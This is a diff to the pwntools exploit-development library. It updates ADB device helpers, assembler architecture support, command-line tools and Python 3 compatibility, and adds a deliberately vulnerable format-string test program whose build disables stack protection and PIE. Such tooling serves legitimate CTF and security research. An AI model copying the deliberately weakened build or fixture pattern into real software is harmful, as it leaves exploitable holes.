 from pwnlib.tubes.process import process, PTY, PIPE, STDOUT
@@ -77,4 +81,4 @@ info    = log.info
 debug   = log.debug
 success = log.success
 
-__all__ = [x for x in globals().keys() if x != '__name__']
+__all__ = [x for x in tuple(globals()) if x != '__name__']

pwnlib/adb/adb.py

@@ -75,8 +75,10 @@ log = getLogger(__name__)
 def adb(argv, *a, **kw):
     r"""Returns the output of an ADB subcommand.
 
-    >>> adb.adb(['get-serialno'])
+    >>> adb.adb('get-serialno')
     b'emulator-5554\n'
+    >>> adb.adb(['shell', 'uname']) # it is better to use adb.process
+    b'Linux\n'
     """
     if isinstance(argv, (bytes, six.text_type)):
         argv = [argv]
@@ -115,7 +117,7 @@ def current_device(any=False):
 
         >>> device = adb.current_device(any=True)
         >>> device
-        AdbDevice(serial='emulator-5554', type='device', port='emulator', product='sdk_phone_armv7', model='sdk phone armv7', device='generic')
+        AdbDevice(serial='emulator-5554', type='device', port='emulator', product='sdk_google_phone_armv7', model='sdk google phone armv7', device='generic')
         >>> device.port
         'emulator'
     """
@@ -198,6 +200,10 @@ def uptime():
 
     Returns:
         Uptime of the device, in seconds
+
+    Example:
+        >>> adb.uptime() > 3 # normally AVD takes ~7 seconds to boot
+        True
     """
     up, idle = map(float, read('/proc/uptime').split())
     return up
@@ -209,10 +215,15 @@ def boot_time():
     Returns:
         Boot time of the device, in Unix time, rounded to the
         nearest second.
+
+    Example:
+        >>> import time
+        >>> adb.boot_time() < time.time()
+        True
     """
     for line in read('/proc/stat').splitlines():
         name, value = line.split(None, 1)
-        if name == 'btime':
+        if name == b'btime':
             return int(value)
 
 class AdbDevice(Device):
@@ -228,7 +239,7 @@ class AdbDevice(Device):
         >>> device.os
         'android'
         >>> device.product
-        'sdk_phone_armv7'
+        'sdk_google_phone_armv7'
         >>> device.serial
         'emulator-5554'
     """
@@ -277,7 +288,7 @@ class AdbDevice(Device):
             return
 
         with context.local(device=self.serial):
-            abi = str(properties.ro.product.cpu.abi)
+            abi = getprop('ro.product.cpu.abi')
             context.clear()
             context.arch = str(abi)
             self._arch = context.arch
@@ -662,9 +673,9 @@ def makedirs(path):
 
     Examples:
 
-        >>> adb.makedirs('/data/local/tmp/this/is/a/directory/heirarchy')
+        >>> adb.makedirs('/data/local/tmp/this/is/a/directory/hierarchy')
         >>> adb.listdir('/data/local/tmp/this/is/a/directory')
-        ['heirarchy']
+        ['hierarchy']
     """
     if path != '/':
         makedirs(os.path.dirname(path))
@@ -680,7 +691,7 @@ def exists(path):
 
         >>> adb.exists('/')
         True
-        >>> adb.exists('/init')
+        >>> adb.exists('/etc/hosts')
         True
         >>> adb.exists('/does/not/exist')
         False
@@ -816,17 +827,18 @@ def which(name, all = False, *a, **kw):
     """
     # Unfortunately, there is no native 'which' on many phones.
     which_cmd = '''
-echo $PATH | while read -d: directory; do
-    [ -x "$directory/{name}" ] || continue;
-    echo -n "$directory/{name}\\x00";
-done
+(IFS=:
+  for directory in $PATH; do
+      [ -x "$directory/{name}" ] || continue;
+      echo -n "$directory/{name}\\x00";
+  done
+)
 [ -x "{name}" ] && echo -n "$PWD/{name}\\x00"
 '''.format(name=name)
 
     which_cmd = which_cmd.strip()
     data = process(['sh','-c', which_cmd], *a, **kw).recvall()
-    if not hasattr(data, 'encode'):
-        data = data.decode('utf-8')
+    data = context._decode(data)
     result = []
 
     for path in data.split('\x00'):
@@ -849,6 +861,12 @@ done
 
 @with_device
 def whoami():
+    """Returns current shell user
+
+    Example:
+       >>> adb.whoami()
+       b'root'
+    """
     return process(['sh','-ic','echo $USER']).recvall().strip()
 
 @with_device
@@ -896,7 +914,12 @@ def pidof(name):
 
 @with_device
 def proc_exe(pid):
-    """Returns the full path of the executable for the provided PID."""
+    """Returns the full path of the executable for the provided PID.
+
+    Example:
+        >>> adb.proc_exe(1)
+        b'/init'
+    """
     with context.quiet:
         io  = process(['realpath','/proc/%d/exe' % pid])
         data = io.recvall().strip()
@@ -912,24 +935,23 @@ def getprop(name=None):
     Returns:
         If ``name`` is not specified, a ``dict`` of all properties is returned.
         Otherwise, a string is returned with the contents of the named property.
+
+    Example:
+        >>> adb.getprop() # doctest: +ELLIPSIS
+        {...}
     """
     with context.quiet:
         if name:
             result = process(['getprop', name]).recvall().strip()
-            if not hasattr(result, 'encode'):
-                result = result.decode('utf-8')
+            result = context._decode(result)
             return result
 
-
         result = process(['getprop']).recvall()
 
-    if not hasattr(result, 'encode'):
-        result = result.decode('utf-8')
-
+    result = context._decode(result)
     expr = r'\[([^\]]+)\]: \[(.*)\]'
 
     props = {}
-
     for line in result.splitlines():
         if not line.startswith('['):
             continue
@@ -960,7 +982,7 @@ def listdir(directory='/'):
         Otherwise, less files may be returned due to restrictive SELinux
         policies on adbd.
     """
-    return list(sorted(AdbClient().list(directory)))
+    return sorted(AdbClient().list(directory))
 
 @with_device
 def fastboot(args, *a, **kw):
@@ -975,17 +997,17 @@ def fastboot(args, *a, **kw):
 @with_device
 def fingerprint():
     """Returns the device build fingerprint."""
-    return str(properties.ro.build.fingerprint)
+    return getprop('ro.build.fingerprint')
 
 @with_device
 def product():
     """Returns the device product identifier."""
-    return str(properties.ro.build.product)
+    return getprop('ro.build.product')
 
 @with_device
 def build():
     """Returns the Build ID of the device."""
-    return str(properties.ro.build.id)
+    return getprop('ro.build.id')
 
 @with_device
 @no_emulator
@@ -995,15 +1017,44 @@ def unlock_bootloader():
     Note:
         This requires physical interaction with the device.
     """
-    AdbClient().reboot_bootloader()
-    fastboot(['oem', 'unlock'])
-    fastboot(['continue'])
+    w = log.waitfor("Unlocking bootloader")
+    with w:
+        if getprop('ro.oem_unlock_supported') == '0':
+            log.error("Bootloader cannot be unlocked: ro.oem_unlock_supported=0")
+
+        if getprop('ro.boot.oem_unlock_support') == '0':
+            log.error("Bootloader cannot be unlocked: ro.boot.oem_unlock_support=0")
+
+        if getprop('sys.oem_unlock_allowed') == '0':
+            log.error("Bootloader cannot be unlocked: Enable OEM Unlock in developer settings first", context.device)
+
+        AdbClient().reboot_bootloader()
+
+        # Check to see if it's unlocked before attempting unlock
+        unlocked = fastboot(['getvar', 'unlocked'])
+        if 'unlocked: yes' in unlocked:
+            w.success("Already unlocked")
+            fastboot(['continue'])
+            return
+
+        fastboot(['oem', 'unlock'])
+        unlocked = fastboot(['getvar', 'unlocked'])
+
+        fastboot(['continue'])
+
+        if 'unlocked: yes' not in unlocked:
+            log.error("Unlock failed")
 
 class Kernel(object):
     _kallsyms = None
 
     @property
     def address(self):
+        """Returns kernel address
+        Example:
+            >>> hex(adb.kernel.address) # doctest: +ELLIPSIS
+            '0x...000'
+        """
         return self.symbols['_text']
 
     @property
@@ -1026,7 +1077,7 @@ class Kernel(object):
             self._kallsyms = {}
             root()
             write('/proc/sys/kernel/kptr_restrict', '1')
-            self._kallsyms = read('/proc/kallsyms')
+            self._kallsyms = read('/proc/kallsyms').decode('ascii')
         return self._kallsyms
 
     @property
@@ -1054,7 +1105,7 @@ class Kernel(object):
 
     def enable_uart(self):
         """Reboots the device with kernel logging to the UART enabled."""
-        model = str(properties.ro.product.model)
+        model = getprop('ro.product.model')
 
         known_commands = {
             'Nexus 4': None,
@@ -1102,15 +1153,15 @@ kernel = Kernel()
 
 class Property(object):
     def __init__(self, name=None):
+        # Need to avoid overloaded setattr() so we go through __dict__
         self.__dict__['_name'] = name
 
     def __str__(self):
         return str(getprop(self._name)).strip()
 
-    def __repr__(self):
-        return repr(str(self))
-
     def __getattr__(self, attr):
+        if attr.startswith('_'):
+            raise AttributeError(attr)
         if self._name:
             attr = '%s.%s' % (self._name, attr)
         return Property(attr)
@@ -1123,6 +1174,21 @@ class Property(object):
             attr = '%s.%s' % (self._name, attr)
         setprop(attr, value)
 
+    def __eq__(self, other):
+        """Allow simple comparison
+
+        Example:
+            >>> adb.properties.ro.build.version.sdk == "24"
+            True
+        """
+        if isinstance(other, six.string_types):
+            return str(self) == other
+        return super(Property, self).__eq__(other)
+
+    def __hash__(self, other):
+        # Allow hash indices matching on the property
+        return hash(self._name)
+
 properties = Property()
 
 def _build_date():
@@ -1197,7 +1263,24 @@ def _generate_ndk_project(file_list, abi='arm-v7a', platform_version=21):
     return root
 
 def compile(source):
-    """Compile a source file or project with the Android NDK."""
+    r"""Compile a source file or project with the Android NDK.
+
+    Example:
+        >>> temp = tempfile.mktemp('.c')
+        >>> write(temp, '''
+        ... #include <stdio.h>
+        ... static char buf[4096];
+        ... int main() {
+        ...   FILE *fp = fopen("/proc/self/maps", "r");
+        ...   int n = fread(buf, 1, sizeof(buf), fp);
+        ...   fwrite(buf, 1, n, stdout);
+        ...   return 0;
+        ... }''')
+        >>> filename = adb.compile(temp)
+        >>> sent = adb.push(filename, "/data/local/tmp")
+        >>> adb.process(sent).recvall() # doctest: +ELLIPSIS
+        b'... /system/bin/linker\n...'
+    """
 
     ndk_build = misc.which('ndk-build')
     if not ndk_build:
@@ -1225,8 +1308,8 @@ def compile(source):
 
         # If we have an attached device, use its settings.
         if context.device:
-            abi = str(properties.ro.product.cpu.abi)
-            sdk = str(properties.ro.build.version.sdk)
+            abi = getprop('ro.product.cpu.abi')
+            sdk = getprop('ro.build.version.sdk')
 
         if abi is None:
             log.error("Unknown CPU ABI")
@@ -1244,7 +1327,7 @@ def compile(source):
     result = io.recvall()
 
     if 0 != io.poll():
-        log.error("Build failed:\n%s" % result)
+        log.error("Build failed:\n%s", result)
 
     # Find all of the output files
     output = glob.glob(os.path.join(lib, '*', '*'))
@@ -1294,37 +1377,59 @@ def find(top, name):
 
 @with_device
 def readlink(path):
-    path = process(['readlink', path]).recvall()
+    path = process(['realpath', path]).recvall()
 
     # Readlink will emit a single newline
     # We can't use the '-n' flag since old versions don't support it
-    if path.endswith('\n'):
+    if path.endswith(b'\n'):
         path = path[:-1]
 
-    return path
+    return path.decode()
 
 class Partitions(object):
+    """Enable access to partitions
+
+    Example:
+        >>> hex(adb.partitions.vda.size) # doctest: +ELLIPSIS
+        '0x...000'
+    """
     @property
     @context.quietfunc
     def by_name_dir(self):
-        return next(find('/dev/block/platform','by-name'))
+        try:
+            return next(find('/dev/block/platform','by-name'))
+        except StopIteration:
+            return '/dev/block'
 
     @context.quietfunc
     def __dir__(self):
         return list(self)
 
+    @context.quietfunc
+    def iter_proc_partitions(self):
+        for line in read('/proc/partitions').splitlines():
+            if not line.strip():
+                continue
+            major, minor, blocks, name = line.split(None, 4)
+            yield blocks, name.decode()
+
     @context.quietfunc
     @with_device
     def __iter__(self):
         root()
 
         # Find all named partitions
-        for name in listdir(self.by_name_dir):
-            yield name
+        names = set(listdir(self.by_name_dir))
+
+        # Find all unnamed partitions
+        for _, name in self.iter_proc_partitions():
+            names.add(name)
+        return iter(names)
 
-    @context.quietfunc
-    @with_device
     def __getattr__(self, attr):
+        if attr.startswith("_"):
+            raise AttributeError(attr)
+
         for name in self:
             if name == attr:
                 break
@@ -1333,19 +1438,17 @@ class Partitions(object):
 
         path = os.path.join(self.by_name_dir, name)
 
-        # Find the actual path of the device
-        devpath = readlink(path)
-        devname = os.path.basename(devpath)
+        with context.quiet:
+            # Find the actual path of the device
+            devpath = readlink(path)
+            devname = os.path.basename(devpath)
 
-        # Get the size of the partition
-        for line in read('/proc/partitions').splitlines():
-            if not line.strip():
-                continue
-            major, minor, blocks, name = line.split(None, 4)
-            if devname == name:
-                break
-        else:
-            log.error("Could not find size of partition %r" % name)
+            # Get the size of the partition
+            for blocks, name in self.iter_proc_partitions():
+                if name in (devname, attr):
+                    break
+            else:
+                log.error("Could not find size of partition %r" % name)
 
         return Partition(devpath, attr, int(blocks))
 
@@ -1397,3 +1500,9 @@ def packages():
     """Returns a list of packages installed on the system"""
     packages = process(['pm', 'list', 'packages']).recvall()
     return [line.split('package:', 1)[-1] for line in packages.splitlines()]
+
+@context.quietfunc
+def version():
+    """Returns rthe platform version as a tuple."""
+    prop = getprop('ro.build.version.release')
+    return [int(v) for v in prop.split('.')]

pwnlib/adb/bootloader.py

@@ -4,6 +4,7 @@ from __future__ import division
 import ctypes
 import io
 import os
+import six
 import sys
 
 from pwnlib.log import getLogger
@@ -64,7 +65,7 @@ class BootloaderImage(object):
         Returns:
             Contents of the image.
         """
-        if isinstance(index_or_name, int):
+        if isinstance(index_or_name, six.integer_types):
             index = index_or_name
         else:
             for i in range(len(self.img_info)):

pwnlib/args.py

@@ -1,5 +1,3 @@
-
-#!/usr/bin/env python2
 """
 Pwntools exposes several magic command-line arguments and environment
 variables when operating in `from pwn import *` mode.

pwnlib/asm.py

@@ -167,6 +167,9 @@ def which_binutils(util):
         'i386':   ['x86_64', 'amd64'],
         'i686':   ['x86_64', 'amd64'],
         'amd64':  ['x86_64', 'i386'],
+        'mips64': ['mips'],
+        'powerpc64': ['powerpc'],
+        'sparc64': ['sparc'],
     }.get(arch, [])
 
     # If one of the candidate architectures matches the native
@@ -190,16 +193,18 @@ def which_binutils(util):
         for gutil in utils:
             # e.g. objdump
             if arch is None:
-                pattern = gutil
+                patterns = [gutil]
 
-            # e.g. aarch64-linux-gnu-objdump
+            # e.g. aarch64-linux-gnu-objdump, avr-objdump
             else:
-                pattern = '%s*linux*-%s' % (arch,gutil)
+                patterns = ['%s*linux*-%s' % (arch, gutil),
+                            '%s-%s' % (arch, gutil)]
 
-            for dir in environ['PATH'].split(':'):
-                res = sorted(glob(path.join(dir, pattern)))
-                if res:
-                    return res[0]
+            for pattern in patterns:
+                for dir in environ['PATH'].split(':'):
+                    res = sorted(glob(path.join(dir, pattern)))
+                    if res:
+                        return res[0]
 
     # No dice!
     print_binutils_instructions(util, context)
@@ -245,9 +250,9 @@ def _assembler():
                                          stderr=subprocess.STDOUT, universal_newlines=True)
         version = re.search(r' (\d\.\d+)', result).group(1)
         if version < '2.19':
-            log.warn_once('Your binutils version is too old and may not work!\n'  + \
-                'Try updating with: https://docs.pwntools.com/en/stable/install/binutils.html\n' + \
-                'Reported Version: %r' % result.strip())
+            log.warn_once('Your binutils version is too old and may not work!\n'
+                'Try updating with: https://docs.pwntools.com/en/stable/install/binutils.html\n'
+                'Reported Version: %r', result.strip())
 
 
     return assembler
@@ -322,15 +327,18 @@ def _bfdname():
         'amd64'   : 'elf64-x86-64',
         'arm'     : 'elf32-%sarm' % E,
         'thumb'   : 'elf32-%sarm' % E,
+        'avr'     : 'elf32-avr',
         'mips'    : 'elf32-trad%smips' % E,
         'mips64'  : 'elf64-trad%smips' % E,
         'alpha'   : 'elf64-alpha',
         'cris'    : 'elf32-cris',
         'ia64'    : 'elf64-ia64-%s' % E,
         'm68k'    : 'elf32-m68k',
+        'msp430'  : 'elf32-msp430',
         'powerpc' : 'elf32-powerpc',
         'powerpc64' : 'elf64-powerpc',
         'vax'     : 'elf32-vax',
+        's390'    : 'elf%d-s390' % context.bits,
         'sparc'   : 'elf32-sparc',
         'sparc64' : 'elf64-sparc',
     }
@@ -344,10 +352,13 @@ def _bfdname():
 def _bfdarch():
     arch = context.arch
     convert = {
-    'i386': 'i386',
-    'amd64': 'i386:x86-64',
-    'thumb': 'arm',
-    'ia64': 'ia64-elf64'
+        'amd64':     'i386:x86-64',
+        'i386':      'i386',
+        'ia64':      'ia64-elf64',
+        'mips64':    'mips',
+        'powerpc64': 'powerpc',
+        'sparc64':   'sparc',
+        'thumb':     'arm',
     }
 
     if arch in convert:
@@ -576,7 +587,7 @@ def make_elf(data,
         _run(assembler + ['-o', step2, step1])
 
         linker_options = ['-z', 'execstack']
-        if vma:
+        if vma is not None:
             linker_options += ['--section-start=.shellcode=%#x' % vma,
                                '--entry=%#x' % vma]
         elif shared:
@@ -637,6 +648,10 @@ def asm(shellcode, vma = 0, extract = True, shared = False):
         b'H\xc7\xc0\x17\x00\x00\x00'
         >>> asm("mov r0, #SYS_select", arch = 'arm', os = 'linux', bits=32)
         b'R\x00\xa0\xe3'
+        >>> asm("mov #42, r0", arch = 'msp430')
+        b'0@*\x00'
+        >>> asm("la %r0, 42", arch = 's390', bits=64)
+        b'A\x00\x00*'
     """
     result = ''
 
@@ -749,6 +764,12 @@ def disasm(data, vma = 0, byte = True, offset = True, instructions = True):
         >>> print(disasm(unhex('656664676665400F18A4000000000051'), byte=0, arch='amd64'))
            0:   gs data16 fs data16 rex nop/reserved BYTE PTR gs:[eax+eax*1+0x0]
            f:   push   rcx
+        >>> print(disasm(unhex('01000000'), arch='sparc64'))
+           0:   01 00 00 00     nop
+        >>> print(disasm(unhex('60000000'), arch='powerpc64'))
+           0:   60 00 00 00     nop
+        >>> print(disasm(unhex('00000000'), arch='mips64'))
+           0:   00000000        nop
     """
     result = ''
 

pwnlib/commandline/__init__.py

@@ -18,5 +18,6 @@ __all__ = [
     'scramble',
     'shellcraft',
     'unhex',
-    'update'
+    'update',
+    'version'
 ]

pwnlib/commandline/asm.py

@@ -5,6 +5,9 @@ from __future__ import division
 import argparse
 import sys
 
+import pwnlib
+pwnlib.args.free_form = False
+
 from pwn import *
 from pwnlib.commandline import common
 
@@ -130,7 +133,7 @@ def main(args):
             output = output.encode('ascii')
         args.output.write(output)
 
-    if tty and fmt is not 'raw':
+    if tty and fmt != 'raw':
         args.output.write(b'\n')
 
 if __name__ == '__main__':

pwnlib/commandline/constgrep.py

@@ -4,7 +4,6 @@ from __future__ import division
 
 import argparse
 import functools
-import os
 import re
 
 import pwnlib
@@ -19,25 +18,22 @@ p = common.parser_commands.add_parser(
     formatter_class = argparse.RawDescriptionHelpFormatter,
 )
 
-group = p.add_mutually_exclusive_group()
-group.add_argument(
+p.add_argument(
     '-e', '--exact',
-    metavar = 'constant',
-    # nargs = 1,
-    default = None,
-    help = 'Do an exact match for a constant instead of searching for a regex',
+    action='store_true',
+    help='Do an exact match for a constant instead of searching for a regex',
 )
-group.add_argument(
+
+p.add_argument(
     'regex',
-    nargs = '?',
-    default = '',
-    help = 'The regex matching constant you want to find',
+    help='The regex matching constant you want to find',
 )
 
 p.add_argument(
     'constant',
     nargs = '?',
     default = None,
+    type = safeeval.expr,
     help = 'The constant to find',
 )
 
@@ -65,7 +61,7 @@ p.add_argument(
 def main(args):
     if args.exact:
         # This is the simple case
-        print(cpp(args.exact).strip())
+        print(cpp(args.regex).strip())
     else:
         # New we search in the right module.
         # But first: We find the right module
@@ -80,20 +76,12 @@ def main(args):
         else:
             matcher = re.compile(args.regex)
 
-
-        # Evaluate the given constant
-        if args.constant:
-            try:
-                constant = safeeval.expr(args.constant)
-            except:
-                log.error("Could not evaluate constant %r" % args.constant)
-        else:
-            constant = None
-
         # The found matching constants and the length of the longest string
         out    = []
         maxlen = 0
 
+        constant = args.constant
+
         for k in dir(mod):
             # No python stuff
             if k.endswith('__') and k.startswith('__'):
@@ -104,7 +92,7 @@ def main(args):
                 continue
 
             # Check the constant
-            if constant != None:
+            if constant is not None:
                 val = getattr(mod, k)
                 if args.mask_mode:
                     if constant & val != val:
@@ -124,7 +112,7 @@ def main(args):
         # If we are in match_mode, then try to find a combination of
         # constants that yield the exact given value
         # We do not want to find combinations using the value 0.
-        if not (constant == None or constant == 0) and args.mask_mode:
+        if constant and args.mask_mode:
             mask = constant
             good = []
             out = [(v, k) for v, k in out if v != 0]

pwnlib/commandline/cyclic.py

@@ -3,6 +3,7 @@ from __future__ import absolute_import
 from __future__ import division
 
 import argparse
+import six
 import string
 import sys
 
@@ -20,7 +21,8 @@ parser = common.parser_commands.add_parser(
 parser.add_argument(
     '-a', '--alphabet',
     metavar = 'alphabet',
-    default = string.ascii_lowercase,
+    default = string.ascii_lowercase.encode(),
+    type = six.ensure_binary,
     help = 'The alphabet to use in the cyclic pattern (defaults to all lower case letters)',
 )
 
@@ -41,7 +43,7 @@ parser.add_argument(
     help = 'The os/architecture/endianness/bits the shellcode will run in (default: linux/i386), choose from: %s' % common.choices,
 )
 
-group = parser.add_mutually_exclusive_group(required = True)
+group = parser.add_mutually_exclusive_group(required=False)
 group.add_argument(
     '-l', '-o', '--offset', '--lookup',
     dest = 'lookup',
@@ -51,9 +53,10 @@ group.add_argument(
 
 group.add_argument(
     'count',
-    type = int,
-    nargs = '?',
-    help = 'Number of characters to print'
+    type=int,
+    nargs='?',
+    default=None,
+    help='Number of characters to print'
 )
 
 def main(args):
@@ -64,9 +67,10 @@ def main(args):
         pat = args.lookup
 
         try:
-            pat = packing.pack(int(pat, 0), subsize*8)
+            pat = int(pat, 0)
         except ValueError:
             pass
+        pat = flat(pat, bytes=args.length)
 
         if len(pat) != subsize:
             log.critical('Subpattern must be %d bytes' % subsize)
@@ -87,13 +91,14 @@ def main(args):
         want   = args.count
         result = cyclic(want, alphabet, subsize)
         got    = len(result)
-        if got < want:
+        if want is not None and got < want:
             log.failure("Alphabet too small (max length = %i)" % got)
 
-        sys.stdout.write(result)
+        out = getattr(sys.stdout, 'buffer', sys.stdout)
+        out.write(result)
 
-        if sys.stdout.isatty():
-            sys.stdout.write('\n')
+        if out.isatty():
+            out.write(b'\n')
 
 if __name__ == '__main__':
     pwnlib.commandline.common.main(__file__)

pwnlib/commandline/errno.py

@@ -45,4 +45,4 @@ def main(args):
   print(os.strerror(value))
 
 if __name__ == '__main__':
-    pwnlib.commandline.common.main(__file__)
+    common.main(__file__)

pwnlib/commandline/hex.py

@@ -26,4 +26,4 @@ def main(args):
         print(enhex(data))
 
 if __name__ == '__main__':
-    pwnlib.commandline.common.main(__file__)
+    common.main(__file__)

pwnlib/commandline/main.py

@@ -21,6 +21,7 @@ from pwnlib.commandline import shellcraft
 from pwnlib.commandline import template
 from pwnlib.commandline import unhex
 from pwnlib.commandline import update
+from pwnlib.commandline import version
 from pwnlib.commandline.common import parser
 from pwnlib.context import context
 
@@ -43,6 +44,7 @@ commands = {
     'template': template.main,
     'unhex': unhex.main,
     'update': update.main,
+    'version': version.main,
 }
 
 def main():

pwnlib/commandline/phd.py

@@ -85,12 +85,12 @@ def main(args):
     text.when = color
 
     if skip:
-        if infile == sys.stdin:
-            infile.read(skip)
-        else:
+        try:
             infile.seek(skip, os.SEEK_CUR)
+        except IOError:
+            infile.read(skip)
 
-    if count:
+    if count != -1:
         infile = io.BytesIO(infile.read(count))
 
     hl = []

pwnlib/commandline/scramble.py

@@ -80,8 +80,8 @@ def main(args):
         parser.print_usage()
         sys.exit(0)
 
-    data   = sys.stdin.read()
-    output = data
+    stdin_buffer = getattr(sys.stdin, 'buffer', sys.stdin)
+    output = stdin_buffer.read()
     fmt    = args.format or ('hex' if tty else 'raw')
     formatters = {'r':bytes, 'h':enhex, 's':repr}
 

pwnlib/commandline/shellcraft.py

@@ -198,11 +198,11 @@ def main(args):
         common.parser.print_usage()
         exit()
 
-    if args.shellcode not in shellcraft.templates:
+    try:
+        func = get_template(args.shellcode)
+    except AttributeError:
         log.error("Unknown shellcraft template %r. Use --list to see available shellcodes." % args.shellcode)
 
-    func = get_template(args.shellcode)
-
     if args.show:
         # remove doctests
         doc = []

pwnlib/commandline/template.py

@@ -18,9 +18,10 @@ parser.add_argument('exe', nargs='?', help='Target binary')
 parser.add_argument('--host', help='Remote host / SSH server')
 parser.add_argument('--port', help='Remote port / SSH port', type=int)
 parser.add_argument('--user', help='SSH Username')
-parser.add_argument('--pass', help='SSH Password', dest='password')
+parser.add_argument('--pass', '--password', help='SSH Password', dest='password')
 parser.add_argument('--path', help='Remote path of file on SSH server')
 parser.add_argument('--quiet', help='Less verbose template comments', action='store_true')
+parser.add_argument('--color', help='Print the output in color', choices=['never', 'always', 'auto'], default='auto')
 
 def main(args):
     cache = None
@@ -40,7 +41,14 @@ def main(args):
             log.error("Must specify --path or a exe")
 
         s = ssh(args.user, args.host, args.port or 22, args.password or None)
-        s.download(args.path or args.exe)
+
+        try:
+            remote = args.path or args.exe
+            s.download(remote)
+        except Exception:
+            log.warning("Could not download file %r, opening a shell", remote)
+            s.interactive()
+            return
 
         if not args.exe:
             args.exe = os.path.basename(args.path)
@@ -57,8 +65,16 @@ def main(args):
     # Fix Mako formatting bs
     output = re.sub('\n\n\n', '\n\n', output)
 
+    # Colorize the output if it's a TTY
+    if args.color == 'always' or (args.color == 'auto' and sys.stdout.isatty()):
+        from pygments import highlight
+        from pygments.formatters import TerminalFormatter
+        from pygments.lexers.python import PythonLexer
+        output = highlight(output, PythonLexer(), TerminalFormatter())
+
     print(output)
 
+    # If redirected to a file, make the resulting script executable
     if not sys.stdout.isatty():
         try: os.fchmod(sys.stdout.fileno(), 0o700)
         except OSError: pass

pwnlib/commandline/unhex.py

@@ -30,4 +30,4 @@ def main(args):
         sys.stderr.write(str(e) + '\n')
 
 if __name__ == '__main__':
-    pwnlib.commandline.common.main(__file__)
+    common.main(__file__)

pwnlib/commandline/version.py

@@ -0,0 +1,31 @@
+#!/usr/bin/env python
+from __future__ import absolute_import
+from __future__ import division
+
+import os
+import subprocess
+
+import pwnlib
+pwnlib.args.free_form = False
+
+from pwn import *
+from pwnlib.commandline import common
+
+parser = common.parser_commands.add_parser(
+    'version',
+    help = 'Pwntools version'
+)
+
+def main(a):
+	version = pwnlib.version
+
+	git_root = os.path.dirname(os.path.dirname(os.path.dirname(__file__)))
+	if os.path.exists(os.path.join(git_root, '.git')):
+		gitver = subprocess.check_output(['git', '-C', git_root, 'log', '-1', '--format=%h (%cr)'])
+		branch = subprocess.check_output(['git', '-C', git_root, 'rev-parse', '--abbrev-ref', 'HEAD'])
+		version = '%s-%s-%s' % (version, branch.decode().strip(), gitver.decode())
+
+	log.info("Pwntools v%s" % version)
+
+if __name__ == '__main__':
+    pwnlib.commandline.common.main(__file__)

pwnlib/config.py

@@ -26,6 +26,9 @@ supported by ``pwnlib.util.safeeval.expr``.
     randomize=1
     timeout=60
     terminal=['x-terminal-emulator', '-e']
+
+    [update]
+    interval=7
 """
 from __future__ import absolute_import
 from __future__ import division

pwnlib/constants/__init__.py

@@ -92,7 +92,7 @@ class ConstantsModule(ModuleType):
         # Special case for __all__, we want to return the contextually
         # relevant module.
         if key == '__all__':
-            return self.guess().__dict__.keys()
+            return list(self.guess().__dict__.keys())
 
         # Special case for all other special properties which aren't defined
         if key.endswith('__'):
@@ -145,7 +145,13 @@ class ConstantsModule(ModuleType):
         if key not in self._env_store:
             self._env_store[key] = {key: getattr(self, key) for key in dir(self) if not key.endswith('__')}
 
-        return Constant('(%s)' % string, safeeval.values(string, self._env_store[key]))
+        val = safeeval.values(string, self._env_store[key])
+
+        # if the expression is not assembly-safe, it is not so vital to preserve it
+        if set(string) & (set(bytearray(range(32)).decode()) | set('"#$\',.;@[\\]`{}')):
+            string = val
+
+        return Constant('(%s)' % string, val)
 
 
 # To prevent garbage collection

pwnlib/context/__init__.py

@@ -1,4 +1,3 @@
-#!/usr/bin/env python2
 # -*- coding: utf-8 -*-
 """
 Implements context management so that nested/scoped contexts and threaded
@@ -27,6 +26,11 @@ from pwnlib.config import register_config
 from pwnlib.device import Device
 from pwnlib.timeout import Timeout
 
+try:
+    from collections.abc import Iterable
+except ImportError:
+    from collections import Iterable
+
 __all__ = ['context', 'ContextType', 'Thread']
 
 _original_socket = socket.socket
@@ -354,7 +358,7 @@ class ContextType(object):
         'log_console': sys.stdout,
         'randomize': False,
         'rename_corefiles': True,
-        'newline': '\n',
+        'newline': b'\n',
         'noptrace': False,
         'os': 'linux',
         'proxy': None,
@@ -685,6 +689,7 @@ class ContextType(object):
                      ('x86_64', 'amd64'),
                      ('x86', 'i386'),
                      ('i686', 'i386'),
+                     ('armv7l', 'arm'),
                      ('armeabi', 'arm'),
                      ('arm64', 'aarch64')]
         for k, v in transform:
@@ -838,6 +843,8 @@ class ContextType(object):
                 return b.decode('utf-8')
             except UnicodeDecodeError:
                 return b.decode('latin1')
+            except AttributeError:
+                return b
         return b.decode(self.encoding)
 
     @_validator
@@ -1116,7 +1123,7 @@ class ContextType(object):
         if isinstance(proxy, str):
             proxy = (socks.SOCKS5, proxy)
 
-        if not isinstance(proxy, collections.Iterable):
+        if not isinstance(proxy, Iterable):
             raise AttributeError('proxy must be a string hostname, or tuple of arguments for socks.set_default_proxy')
 
         socks.set_default_proxy(*proxy)
@@ -1224,12 +1231,13 @@ class ContextType(object):
             >>> cache_dir == context.cache_dir
             True
         """
-        home = os.path.expanduser('~')
+        xdg_cache_home = os.environ.get('XDG_CACHE_HOME') or \
+                         os.path.join(os.path.expanduser('~'), '.cache')
 
-        if not os.access(home, os.W_OK):
+        if not os.access(xdg_cache_home, os.W_OK):
             return None
 
-        cache = os.path.join(home, '.pwntools-cache-%d.%d' % sys.version_info[:2])
+        cache = os.path.join(xdg_cache_home, '.pwntools-cache-%d.%d' % sys.version_info[:2])
 
         if not os.path.exists(cache):
             try:
@@ -1270,6 +1278,15 @@ class ContextType(object):
         """
         return bool(v)
 
+    @_validator
+    def newline(self, v):
+        """Line ending used for Tubes by default.
+
+        This configures the newline emitted by e.g. ``sendline`` or that is used
+        as a delimiter for e.g. ``recvline``.
+        """
+        return six.ensure_binary(v)
+
 
     @_validator
     def gdbinit(self, value):

pwnlib/data/elf/__init__.py

@@ -1,5 +1,7 @@
 from __future__ import absolute_import
+from pwnlib.data.elf import fmtstr
 from pwnlib.data.elf import relro
+from pwnlib.data.elf import ret2dlresolve
 
 import os
 path = os.path.dirname(__file__)

pwnlib/data/elf/fmtstr/Makefile

@@ -0,0 +1,5 @@
+
+all: i386
+
+i386: vuln.c
+	gcc "$^" -fno-stack-protector -no-pie -m32 -o $@

pwnlib/data/elf/fmtstr/__init__.py

@@ -0,0 +1,5 @@
+import os
+path = os.path.dirname(__file__)
+
+def get(x):
+    return os.path.join(path, x)

pwnlib/data/elf/fmtstr/vuln.c

@@ -0,0 +1,25 @@
+#include <stdio.h>
+#include <stdlib.h>
+#include <unistd.h>
+#include <sys/mman.h>
+#define MEMORY_ADDRESS ((void*)0x11111000)
